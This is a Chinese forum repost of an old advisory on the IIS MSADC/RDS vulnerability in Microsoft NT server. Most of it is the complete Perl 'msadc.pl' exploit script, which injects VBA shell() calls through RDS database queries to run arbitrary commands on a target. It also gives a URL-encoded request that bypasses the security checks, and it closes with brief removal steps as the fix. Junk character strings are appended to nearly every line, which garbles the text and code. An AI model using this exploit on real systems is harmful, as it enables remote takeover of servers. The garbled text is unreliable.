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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 41 vL"P K  
jRpdft  
涉及程序: 2~;&g?T6  
Microsoft NT server 0%;146.p  
^aRgMuU  
描述: s/1 #DM"  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 KIVH!2q;  
jec:i-,  
详细: `4CWE_k  
如果你没有时间读详细内容的话,就删除: WnAd5#G  
c:\Program Files\Common Files\System\Msadc\msadcs.dll I}Xg &-L  
有关的安全问题就没有了。 K$REZe  
)DUL)S  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 L6i|:D32p  
%E27.$E_  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ~-F?Mc  
关于利用ODBC远程漏洞的描述,请参看: uC]Z8&+obb  
!)Rr] ~  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm [Id}4[={e  
IGAzE(  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 n`;R pr&  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp O:.,+,BH  
T_OF7?  
这里不再论述。 qU[O1bN  
}o9Aa0$*$  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 9''p[V.3  
YJ2ro-X  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset u:` y]  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! g3?U#7i  
|[cdri^?D  
I&1!v8  
#将下面这段保存为txt文件,然后: "perl -x 文件名" twk&-:'  
H*W):j}8  
#!perl %>XN%t'6aT  
# xNN@1P[*  
# MSADC/RDS 'usage' (aka exploit) script hWcTI{v  
# I/UQ'xx  
# by rain.forest.puppy 77 :'I  
# 8kW/DcLE  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me %TK&)Q% h5  
# beta test and find errors! 4^!4eyQ^  
h#3m4<w(9  
use Socket; use Getopt::Std; |j_`z@7(  
getopts("e:vd:h:XR", \%args); hE!7RM+Y  
mT_GrIl[  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; CJq c\I~  
dA#{Cn;  
if (!defined $args{h} && !defined $args{R}) { F1A1@{8bN  
print qq~ v29G:YQe  
Usage: msadc.pl -h <host> { -d <delay> -X -v } "~p+0Xws9  
-h <host> = host you want to scan (ip or domain) N5 q725zJ  
-d <seconds> = delay between calls, default 1 second ZcZ;$*  
-X = dump Index Server path table, if available j.QHkI1.  
-v = verbose IF?xnu  
-e = external dictionary file for step 5 5iWe-xQ>  
{:Vf0Mhb  
Or a -R will resume a command session =p\Xy*  
,sb1"^Wc  
~; exit;} 6d{j0?mM  
B2hfD-h,>  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; P&t;WPZ  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} H(\V+@~>AD  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} i@$-0%,  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); b4~H3|  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} H,>#|F  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ;1LG&h,K  
KP~-$NR  
if (!defined $args{R}){ $ret = &has_msadc; i;lE5  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} &jJckT  
[b5(XIGUN}  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" t]TyXAr~  
. "cmd /c "; X N;/nU  
$in=<STDIN>; chomp $in; pVOI5>f\  
$command="cmd /c " . $in ; E8tD)=1  
y-cw~kNPP3  
if (defined $args{R}) {&load; exit;} [(c L/_  
,z66bnjO  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; `Ei"_W  
&try_btcustmr; m,NMTyJoz  
cTj~lO6  
print "\nStep 2: Trying to make our own DSN..."; V<$*Y>;  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; *j<@yG2\gP  
O: u%7V/  
print "\nStep 3: Trying known DSNs..."; 2xmT#m  
&known_dsn; hh&Js'd  
yH(V&Tv  
print "\nStep 4: Trying known .mdbs..."; [~?M/QI9  
&known_mdb; 9U10d&M(  
YY!!<2_  
if (defined $args{e}){ >0T3'/k<H  
print "\nStep 5: Trying dictionary of DSN names..."; #^\}xn" [  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } n|]N7 b'  
h[l{ 5Z*  
print "Sorry Charley...maybe next time?\n"; MxN]7  
exit; A[ 1)!e  
*tAqt2{48  
############################################################################## =8S}Iat  
ZW* fOaj  
sub sendraw { # ripped and modded from whisker q)Je.6$#X  
sleep($delay); # it's a DoS on the server! At least on mine... WOH9%xv  
my ($pstr)=@_; {U P_i2`.  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || fNEz  
die("Socket problems\n"); #KJZR{  
if(connect(S,pack "SnA4x8",2,80,$target)){ ' PL_~  
select(S); $|=1; s?<!&Y  
print $pstr; my @in=<S>; +UaO<L  
select(STDOUT); close(S); dP3VJ3+ %  
return @in; d H_2 o  
} else { die("Can't connect...\n"); }}  oUS ,+e  
8OBF^r44R  
############################################################################## g*r/u;  
W]~ZkQ|P  
sub make_header { # make the HTTP request 2;R/.xI6v  
my $msadc=<<EOT W^ClHQ"Iy  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 `1_FQnm)  
User-Agent: ACTIVEDATA t>@yv#  
Host: $ip D'?]yyrf  
Content-Length: $clen \I xzdFF#  
Connection: Keep-Alive dp< au A  
2?H@$-x>  
ADCClientVersion:01.06 T Xl\hL\+  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 j@V $Mbv  
\#_@qHAG  
--!ADM!ROX!YOUR!WORLD! Hc /w ta  
Content-Type: application/x-varg UNY@w=]<  
Content-Length: $reqlen k7b(QADqUU  
7C YH'DL  
EOT _6J<YQK  
; $msadc=~s/\n/\r\n/g; 9H8=eJd  
return $msadc;} [Z% l.  
<mn-=#)  
############################################################################## aZC*7AK   
T/5nu?v  
sub make_req { # make the RDS request *<CxFy;|  
my ($switch, $p1, $p2)=@_; Obg@YIwn  
my $req=""; my $t1, $t2, $query, $dsn; }*OD M6  
Z c<]^QR  
if ($switch==1){ # this is the btcustmr.mdb query A<;0L . J  
$query="Select * from Customers where City=" . make_shell(); I &cX8Tw  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 9`,,%vdj  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} C*]AL/  
,FS?"Ni  
elsif ($switch==2){ # this is general make table query T*p|'Q`  
$query="create table AZZ (B int, C varchar(10))"; ;_w MWl0F  
$dsn="$p1";} ],$6&Cm  
&?v#| qIh  
elsif ($switch==3){ # this is general exploit table query {z-NlH  
$query="select * from AZZ where C=" . make_shell(); ]uJM6QuQ  
$dsn="$p1";} mf#fA2[  
f!^)!~  
elsif ($switch==4){ # attempt to hork file info from index server 78^Y;2 P]W  
$query="select path from scope()"; l4DeX\ly7f  
$dsn="Provider=MSIDXS;";} w8U2y/:>  
<xC: Ant  
elsif ($switch==5){ # bad query -D$3!ccX  
$query="select"; F1/6&u9I  
$dsn="$p1";} i$g|?g~]  
Mf#2.TR  
$t1= make_unicode($query); dkf}),Z F  
$t2= make_unicode($dsn); @<VG8{  
$req = "\x02\x00\x03\x00"; }1@n(#|c  
$req.= "\x08\x00" . pack ("S1", length($t1)); [6tR&D #K  
$req.= "\x00\x00" . $t1 ; .k p $oAL  
$req.= "\x08\x00" . pack ("S1", length($t2)); ^]KIgGv\  
$req.= "\x00\x00" . $t2 ; D@2Ya/c  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ^CO#QnB @  
return $req;} kaV%0Of]  
mMga"I9  
############################################################################## MyK^i2eD  
=tLU]  
sub make_shell { # this makes the shell() statement %{=4Fa(Jux  
return "'|shell(\"$command\")|'";} b,z R5R^D;  
i:\bqK  
############################################################################## 6_pDe  
pFS F[9?e>  
sub make_unicode { # quick little function to convert to unicode $/MY,:*e  
my ($in)=@_; my $out; >_n:_  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 4b]IazL)  
return $out;}  9F/|`  
gjO *h3`  
############################################################################## wYC9 ~ms-  
r .{rNR  
sub rdo_success { # checks for RDO return success (this is kludge) u;$I{b@M]  
my (@in) = @_; my $base=content_start(@in); }FuVY><l  
if($in[$base]=~/multipart\/mixed/){ v4X_v!CQ  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} _QD/!~O  
return 0;} nm<L&11  
p, !1 3X  
############################################################################## (Be$$W  
R %Rv  
sub make_dsn { # this makes a DSN for us N=hSqw[  
my @drives=("c","d","e","f"); 3`mC"a b /  
print "\nMaking DSN: "; 3AX?B~s  
foreach $drive (@drives) { C+}CU}  
print "$drive: "; 2K5}3<KD/  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . cq- e c7  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" mxtlr)  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); hQ\#Fhu7  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;  ]v/t8`  
return 0 if $2 eq "404"; # not found/doesn't exist 39'X$!  
if($2 eq "200") { 7)g;Wd+H  
foreach $line (@results) { Iwnj'R7:  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} `#-p,NElV  
} return 0;} l!xgtP K  
IEKMa   
############################################################################## C!CaGf=  
hhN(;.  
sub verify_exists { P?-d[zLA  
my ($page)=@_; clij|?O  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 8 ))I$+  
return $results[0];} Ir'DA_..  
=>E44v  
############################################################################## 2 rbX8Y  
qpH j4  
sub try_btcustmr { /&y,vkZTT  
my @drives=("c","d","e","f"); ]W89.><%14  
my @dirs=("winnt","winnt35","winnt351","win","windows"); n=lggBRx  
c80"8r  
foreach $dir (@dirs) { 11nO<WH  
print "$dir -> "; # fun status so you can see progress C@l +\M(  
foreach $drive (@drives) { $`cy'ZaF  
print "$drive: "; # ditto s|Imz<IE  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; {X{01j};8  
$reqlenlen=length( "$reqlen" ); S(q4OQ B{  
$clen= 206 + $reqlenlen + $reqlen; e7)>U!9c9  
j@kRv@  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 0j-F6a*p'1  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 1q;I7_{ 2  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 853]CK<  
PW(_yB;  
############################################################################## ?S;et2f  
h8Dtq5t4  
sub odbc_error { ?h>(&H jWV  
my (@in)=@_; my $base; BxW||O|_N"  
my $base = content_start(@in); =|DkD- O  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this r;@:S~  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; LIm$Wl1U  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^hGZVGSv  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; LNsE7t  
return $in[$base+4].$in[$base+5].$in[$base+6];} N^@%qUvT]  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ur,V>J<5A  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 55u^u F  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 1tuator  
D*<8e?F  
############################################################################## dja9XWOg  
\!? PhNv  
sub verbose { '6Rs0__  
my ($in)=@_; z. Ve#~\  
return if !$verbose; hfP(N_""S  
print STDOUT "\n$in\n";} VH$\ a~|  
 )^QG-IM  
############################################################################## F ~11 _  
Au\ =ypK  
sub save { K~9 jin  
my ($p1, $p2, $p3, $p4)=@_; am)J'i,  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; r(`8A:#d  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; jHUz`.8B  
close OUT;} :Kt mSY  
c qU$gKT  
############################################################################## *o2_EqXL*  
GtGyY0  
sub load { 8k*k  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ]c~rPi  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ]J0Y^dM  
@p=<IN>; close(IN); ^O,6(@>  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); MXu+I,y*  
$target= inet_aton($ip) || die("inet_aton problems"); E(L^hZMc  
print "Resuming to $ip ..."; !E(J ]a  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ] "7El;2z  
if($p[1]==1) { =r@ie>* U  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; g*\v}6 h  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; oG U.U9~!  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); o 2$<>1^  
if (rdo_success(@results)){print "Success!\n";} d<^6hF  
else { print "failed\n"; verbose(odbc_error(@results));}} ~T{d9yNW1  
elsif ($p[1]==3){ UVvt&=+4  
if(run_query("$p[3]")){ ~"hAb2  
print "Success!\n";} else { print "failed\n"; }} hPX2 Bp  
elsif ($p[1]==4){ OHXeqjhy  
if(run_query($drvst . "$p[3]")){ `04Y ;@w  
print "Success!\n"; } else { print "failed\n"; }} YC+ZVp"v  
exit;} //@sktHsw(  
A`mf 8'nTG  
############################################################################## L2Qp6A6S  
Phjf$\pt  
sub create_table { [eTck73  
my ($in)=@_; >O[^\H!\  
$reqlen=length( make_req(2,$in,"") ) - 28; ]mDsUZf<  
$reqlenlen=length( "$reqlen" ); #|2g{7 g*  
$clen= 206 + $reqlenlen + $reqlen; qoyGs}/I8  
my @results=sendraw(make_header() . make_req(2,$in,"")); 4$#ia F  
return 1 if rdo_success(@results); O,z%7><  
my $temp= odbc_error(@results); verbose($temp); kA->xjk  
return 1 if $temp=~/Table 'AZZ' already exists/; =V4_DJ(&  
return 0;} 34&$_0zn  
'@1Qx~*]e  
############################################################################## B3i=pcef  
q'U-{~q%  
sub known_dsn { 'e8d["N  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go N'W >pU  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", !&:.Uh  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", A'P}mrY  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); j^R~ Lt4  
W(3~F2  
foreach $dSn (@dsns) { )SO1P6  
print "."; IBsO  
next if (!is_access("DSN=$dSn")); j$/uJ`  
if(create_table("DSN=$dSn")){ OAQ O J'  
print "$dSn successful\n"; '3kL=(  
if(run_query("DSN=$dSn")){ aABE= 9Y  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ?f%DVK d  
print "Something's borked. Use verbose next time\n";}}} print "\n";} (]# JpQ  
s(DaPhL6Qm  
############################################################################## _J$p <  
mZ.6Njb  
sub is_access { "{1}  
my ($in)=@_; */@bNT9BgO  
$reqlen=length( make_req(5,$in,"") ) - 28; XVK[p=cIL  
$reqlenlen=length( "$reqlen" ); [!|d[  
$clen= 206 + $reqlenlen + $reqlen; T;vPR,]rz  
my @results=sendraw(make_header() . make_req(5,$in,"")); QSQ\@h;E  
my $temp= odbc_error(@results); k>@^M]%  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); $1`t+0^k  
return 0;} ,)\5O0 D6  
`oI/;&  
############################################################################## ~+NFWNgN  
\|4MU"ri  
sub run_query { .J! $,O@  
my ($in)=@_; %EhU!K#[  
$reqlen=length( make_req(3,$in,"") ) - 28; ^bgm0,M  
$reqlenlen=length( "$reqlen" ); 4Fht (B|  
$clen= 206 + $reqlenlen + $reqlen; 6P[O8  
my @results=sendraw(make_header() . make_req(3,$in,"")); /[|md0,  
return 1 if rdo_success(@results); 'm.XmVZL%  
my $temp= odbc_error(@results); verbose($temp); ? Gu_UW  
return 0;} -O q=J;  
7]+'%Uwu)  
############################################################################## t~=@r9`S  
k*+ZLrT  
sub known_mdb { G"R>aw  
my @drives=("c","d","e","f","g"); `x^,k% :4  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ?z36mj"`o  
my $dir, $drive, $mdb; +c2=*IA/  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; UyfIAC$S  
^)K[1]"uM  
# this is sparse, because I don't know of many /bj`%Q.n  
my @sysmdbs=( "\\catroot\\icatalog.mdb", (E]K)d  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", x@(f^P  
"\\system32\\certmdb.mdb", WYd,tGz  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% `e69kBAm  
|gxB; GG  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", LR?#H)$  
"\\cfusion\\cfapps\\forums\\forums_.mdb", wEn&zZjx  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 9fLP&v  
"\\cfusion\\cfapps\\security\\realm_.mdb", h 7P?n.K  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", [~%;E[ky$  
"\\cfusion\\database\\cfexamples.mdb", V$%Fs{  
"\\cfusion\\database\\cfsnippets.mdb", ?;QKe0I^  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", =1B&d[3;  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 5 /VB'N#7s  
"\\cfusion\\brighttiger\\database\\cleam.mdb", nylIP */  
"\\cfusion\\database\\smpolicy.mdb", A>,fG9pR  
"\\cfusion\\database\cypress.mdb", +mF 2yh  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", aD`e]K ^L  
"\\website\\cgi-win\\dbsample.mdb", zEL[%(fnc  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Ljs(<Gm)-  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" p%qL0   
); #these are just B=xZkc  
foreach $drive (@drives) { &K*_/Q '\  
foreach $dir (@dirs){ ATkqzE`;  
foreach $mdb (@sysmdbs) { PqeQe5  
print "."; 2PW3 S{Dt  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ .aRxqFi_  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; xqZ%c/I3q  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ |?b"my$g$  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; s+t eYL#Zi  
} else { print "Something's borked. Use verbose next time\n"; }}}}} F4l6PGxF&\  
~a|Q[tiV]  
foreach $drive (@drives) { yKy)fn!  
foreach $mdb (@mdbs) { {.)~4.LhQM  
print "."; 545xs`Q_  
if(create_table($drv . $drive . $dir . $mdb)){ ~}l,H:jk@  
print "\n" . $drive . $dir . $mdb . " successful\n"; G#M]\)f%  
if(run_query($drv . $drive . $dir . $mdb)){ +004 2Yi  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; LOo#  
} else { print "Something's borked. Use verbose next time\n"; }}}} WYUU-  
} s8O+&^(U  
WkmS   
############################################################################## ,;& PKY  
90I3_[Ii  
sub hork_idx { yU lQPrNX  
print "\nAttempting to dump Index Server tables...\n"; gVWLY;c 3}  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ,6)y4=8 L  
$reqlen=length( make_req(4,"","") ) - 28; cjpl_}'L:  
$reqlenlen=length( "$reqlen" ); spDRQ_qq  
$clen= 206 + $reqlenlen + $reqlen; !ry+ r!"  
my @results=sendraw2(make_header() . make_req(4,"","")); `215Llzk;  
if (rdo_success(@results)){ he6) L6T  
my $max=@results; my $c; my %d; Ct33S+y  
for($c=19; $c<$max; $c++){ '0?E|B]Cp%  
$results[$c]=~s/\x00//g; bHG>SW\]`?  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ?':'zT  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; t;6/bT-  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ~Q]M_,`M  
$d{"$1$2"}="";} cK/odOi  
foreach $c (keys %d){ print "$c\n"; } >QPS0Vx[  
} else {print "Index server doesn't seem to be installed.\n"; }} \'b- ;exH  
c9k,Dc  
############################################################################## >FhBl\oIi  
 X;g|-<  
sub dsn_dict { v2g+o KO]  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); tr+~@]I+  
while(<IN>){ ~+ur*3X  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; (9%%^s]uPT  
next if (!is_access("DSN=$dSn")); 0:S)2"I58p  
if(create_table("DSN=$dSn")){ j+_75t`AZ  
print "$dSn successful\n"; Un+Jz ?Y  
if(run_query("DSN=$dSn")){ (\ %y)  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { GT0'bge  
print "Something's borked. Use verbose next time\n";}}} +?'acn  
print "\n"; close(IN);} v#G ^W  
\`x'g)z(i  
############################################################################## a#$%xw  
'IszS!kY  
sub sendraw2 { # ripped and modded from whisker mY9K)]8  
sleep($delay); # it's a DoS on the server! At least on mine... HN)QS5  
my ($pstr)=@_; >{8H==P  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 3 g&mND  
die("Socket problems\n"); rKq]zHgpo  
if(connect(S,pack "SnA4x8",2,80,$target)){ zD|W3hL2&  
print "Connected. Getting data"; 4'*K\Ul).H  
open(OUT,">raw.out"); my @in; [Xg"B|FD0  
select(S); $|=1; print $pstr; ~:Nyv+g,$  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} v}i}pQ\DK  
close(OUT); select(STDOUT); close(S); return @in; @e/dQ:Fb  
} else { die("Can't connect...\n"); }} g?sFmD  
p^!p7B`qe.  
############################################################################## fba3aId[  
*4E,| IJ  
sub content_start { # this will take in the server headers n!nv.-n  
my (@in)=@_; my $c; a#=-Aj-  
for ($c=1;$c<500;$c++) { =7> ~u  
if($in[$c] =~/^\x0d\x0a/){ l{g( z !  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } >kT~X ,o  
else { return $c+1; }}} c i>=45@J  
return -1;} # it should never get here actually >Fh@:M7z  
'@P[fSQ  
############################################################################## Ckp=d  
@YELqUb*  
sub funky { UQ?8dw:E~  
my (@in)=@_; my $error=odbc_error(@in); ?HTwTi 5!)  
if($error=~/ADO could not find the specified provider/){ /|f]L9)2<  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; e^TF.D?RS  
exit;} biD7(AK  
if($error=~/A Handler is required/){ f ;JSP  
print "\nServer has custom handler filters (they most likely are patched)\n"; RCr:2 Iz  
exit;} xOlkG*3c  
if($error=~/specified Handler has denied Access/){ g11K?3*%Q  
print "\nServer has custom handler filters (they most likely are patched)\n"; g(^l>niF:  
exit;}} =\.|'  
w8Yff[o  
############################################################################## |Sq>uC)  
?9cy5z[  
sub has_msadc { b :00w["  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); JZ [&:  
my $base=content_start(@results); L`v,:#Y   
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); q)X&S*-<o~  
return 0;} QkbN2mFv%  
!/SFEL@_B  
######################## ;iVyJZI  
th{h)( +H  
i^(<E0vS  
解决方案: oZCO$a  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll (XQG"G%U6W  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 (;N_lF0  
eJ'ojc3  
拿出来充数 哈哈
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